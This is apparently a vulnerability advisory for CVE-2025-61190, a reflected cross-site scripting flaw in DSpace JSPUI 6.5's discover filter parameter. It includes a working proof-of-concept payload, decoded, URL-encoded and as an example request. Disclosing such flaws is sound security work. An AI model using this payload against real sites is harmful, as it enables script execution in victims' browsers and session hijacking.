CVE-2025-61190 - Stored/Reflected XSS in DSpace JSPUI 6.5 (filter_type_1 parameter)

CVE-2025-61190.txt

# CVE-2025-61190 – Cross Site Scripting (XSS) in DSpace JSPUI 6.5

## Summary
A Cross Site Scripting (XSS) vulnerability exists in **DSpace JSPUI 6.5** within the search/discover filtering functionality. User-supplied input passed through the `filter_type_1` parameter is not properly encoded or sanitized before being reflected in the HTML output, allowing attackers to inject arbitrary JavaScript.

## Vulnerability Details
- **CVE ID:** CVE-2025-61190  
- **Vulnerability Type:** Cross Site Scripting (XSS)  
- **Vendor:** Lyrasis  
- **Product:** DSpace  
- **Affected Version:** DSpace JSPUI 6.5  
- **Component:** JSPUI search/discover filtering functionality  
- **CWE:** CWE-79

## Description
The vulnerability occurs because the `filter_type_1` parameter is reflected in the HTML output without proper escaping. An attacker can inject malicious HTML or JavaScript into the parameter, which will execute in the browser of users visiting the crafted URL.

## Attack Vector
A remote attacker can exploit this vulnerability by sending a crafted request containing malicious input in the `filter_type_1` parameter. The request may be delivered via a malicious URL or by intercepting and modifying traffic using tools such as **Burp Suite**.

When the victim loads the manipulated page, the injected JavaScript executes in their browser.

## Proof of Concept (PoC)

Payload (decoded):


test1"><input onfocus=javascript:confirm(1) autofocus>


URL encoded payload:


test1"><input+onfocus%3djavascript%3aconfirm(1)+autofocus>


Example request:


https://target.example/discover?filter_type_1=test1">
<input+onfocus%3djavascript%3aconfirm(1)+autofocus>


When the page loads, the injected element executes JavaScript.

## Impact
Successful exploitation may allow attackers to:

- Execute arbitrary JavaScript in the victim's browser
- Perform session hijacking
- Conduct phishing attacks
- Manipulate the user interface
- Perform further client-side attacks

## References
- http://dspace.com
- http://lyrasis.com

## Discoverer
Mert Turan